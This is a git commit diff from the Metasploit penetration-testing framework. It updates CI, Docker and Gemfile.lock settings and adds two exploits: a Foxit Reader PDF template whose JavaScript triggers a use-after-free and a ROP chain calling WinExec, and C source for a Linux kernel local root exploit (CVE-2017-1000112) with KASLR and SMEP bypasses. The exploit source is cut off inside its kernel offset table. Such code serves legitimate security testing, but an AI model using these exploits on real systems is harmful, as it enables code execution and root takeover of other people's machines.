Merge in master
commit
af594f6744
11
.travis.yml
11
.travis.yml
|
@ -32,11 +32,14 @@ matrix:
|
|||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
- env: CMD="/usr/bin/docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
before_script: skip
|
||||
before_script:
|
||||
- curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
|
||||
- chmod +x docker-compose
|
||||
- sudo mv docker-compose /usr/bin
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
|
@ -56,7 +59,9 @@ before_script:
|
|||
script:
|
||||
- echo "${CMD}"
|
||||
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
#- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
# docker_wait is currently broken on travis-ci, so let's just run CMD directly for now
|
||||
- bash -c "${CMD}"
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
41
Dockerfile
41
Dockerfile
|
@ -1,9 +1,8 @@
|
|||
FROM ruby:2.5.1-alpine3.7
|
||||
FROM ruby:2.5.1-alpine3.7 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
|
@ -12,20 +11,7 @@ COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/vers
|
|||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
RUN apk add --no-cache \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
|
@ -44,15 +30,28 @@ RUN apk update && \
|
|||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY . $APP_HOME
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
|
|
91
Gemfile.lock
91
Gemfile.lock
|
@ -10,6 +10,7 @@ PATH
|
|||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
dnsruby
|
||||
ed25519
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
|
@ -18,9 +19,9 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.40)
|
||||
metasploit-payloads (= 1.3.52)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.4.1)
|
||||
metasploit_payloads-mettle (= 0.4.2)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
|
@ -65,9 +66,11 @@ PATH
|
|||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
sysrandom
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
warden
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
|
@ -105,12 +108,12 @@ GEM
|
|||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.7.0)
|
||||
arel-helpers (2.8.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.3)
|
||||
backports (3.11.4)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.3)
|
||||
bindata (2.4.4)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
|
@ -118,22 +121,23 @@ GEM
|
|||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.1)
|
||||
dnsruby (1.61.2)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
ed25519 (1.2.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.10.0)
|
||||
factory_bot (4.11.1)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_bot_rails (4.10.0)
|
||||
factory_bot (~> 4.10.0)
|
||||
factory_bot_rails (4.11.1)
|
||||
factory_bot (~> 4.11.1)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.2)
|
||||
faraday (0.15.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.6)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
|
@ -162,8 +166,8 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.40)
|
||||
metasploit_data_models (3.0.0)
|
||||
metasploit-payloads (1.3.52)
|
||||
metasploit_data_models (3.0.1)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
|
@ -173,7 +177,7 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.4.1)
|
||||
metasploit_payloads-mettle (0.4.2)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
|
@ -186,14 +190,14 @@ GEM
|
|||
nexpose (7.2.1)
|
||||
nokogiri (1.8.4)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.9.0)
|
||||
octokit (4.12.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
|
@ -209,7 +213,7 @@ GEM
|
|||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
public_suffix (3.0.3)
|
||||
rack (1.6.10)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
|
@ -230,7 +234,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.20)
|
||||
recog (2.1.24)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
|
@ -259,7 +263,7 @@ GEM
|
|||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.78)
|
||||
rex-powershell (0.1.79)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
|
@ -269,7 +273,7 @@ GEM
|
|||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.14)
|
||||
rex-socket (0.1.15)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
|
@ -280,37 +284,37 @@ GEM
|
|||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
rspec (3.8.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (2.0.0)
|
||||
rspec-support (3.8.0)
|
||||
ruby-macho (2.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.3)
|
||||
ruby_smb (1.0.4)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.1)
|
||||
rubyzip (1.2.2)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
|
@ -326,6 +330,7 @@ GEM
|
|||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
swagger-blocks (2.0.2)
|
||||
sysrandom (1.0.5)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
|
@ -339,12 +344,14 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.14)
|
||||
yard (0.9.16)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -365,4 +372,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.2
|
||||
1.16.4
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,125 @@
|
|||
%PDF
|
||||
1 0 obj
|
||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||
2 0 obj
|
||||
<</S /JavaScript /JS (
|
||||
|
||||
var heap_ptr = 0;
|
||||
var foxit_base = 0;
|
||||
var pwn_array = [];
|
||||
|
||||
function prepare_heap(size){
|
||||
var arr = new Array(size);
|
||||
for(var i = 0; i < size; i++){
|
||||
arr[i] = this.addAnnot({type: "Text"});;
|
||||
if (typeof arr[i] == "object"){
|
||||
arr[i].destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function gc() {
|
||||
const maxMallocBytes = 128 * 0x100000;
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var x = new ArrayBuffer(maxMallocBytes);
|
||||
}
|
||||
}
|
||||
|
||||
function alloc_at_leak(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||
}
|
||||
}
|
||||
|
||||
function control_memory(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
for (var j = 0; j < pwn_array[i].length; j++){
|
||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function leak_vtable(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
|
||||
a.destroy();
|
||||
gc();
|
||||
|
||||
prepare_heap(0x400);
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
var leaked = stolen[0] & 0xffff0000;
|
||||
foxit_base = leaked - 0x01f50000;
|
||||
}
|
||||
|
||||
function leak_heap_chunk(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
a.destroy();
|
||||
prepare_heap(0x400);
|
||||
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
alloc_at_leak();
|
||||
heap_ptr = stolen[1];
|
||||
}
|
||||
|
||||
function reclaim(){
|
||||
var arr = new Array(0x10);
|
||||
for (var i = 0; i < arr.length; i++) {
|
||||
arr[i] = new ArrayBuffer(0x60);
|
||||
var rop = new Int32Array(arr[i]);
|
||||
|
||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||
rop[0x02] = 0x72727272; // junk
|
||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||
<%= rop %>
|
||||
rop[0x17] = 0x00000000; // adios, amigo
|
||||
}
|
||||
}
|
||||
|
||||
function trigger_uaf(){
|
||||
var that = this;
|
||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||
var arr = [1];
|
||||
Object.defineProperties(arr,{
|
||||
"0":{
|
||||
get: function () {
|
||||
|
||||
that.getAnnot(0, "uaf").destroy();
|
||||
|
||||
reclaim();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a.point = arr;
|
||||
}
|
||||
|
||||
function main(){
|
||||
leak_heap_chunk();
|
||||
leak_vtable();
|
||||
control_memory();
|
||||
trigger_uaf();
|
||||
}
|
||||
|
||||
if (app.platform == "WIN"){
|
||||
if (app.isFoxit == "Foxit Reader"){
|
||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||
main();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
)>> trailer <</Root 1 0 R>>
|
|
@ -0,0 +1,884 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on:
|
||||
// - Ubuntu trusty 4.4.0 kernels
|
||||
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
|
||||
// - Linux Mint rosa 4.4.0 kernels
|
||||
// - Linux Mint sarah 4.8.0 kernels
|
||||
// - Zorin OS 12.1 4.4.0-39 kernel
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for distros based on Ubuntu kernel
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
char* SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_kernel().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
|
||||
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
|
||||
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
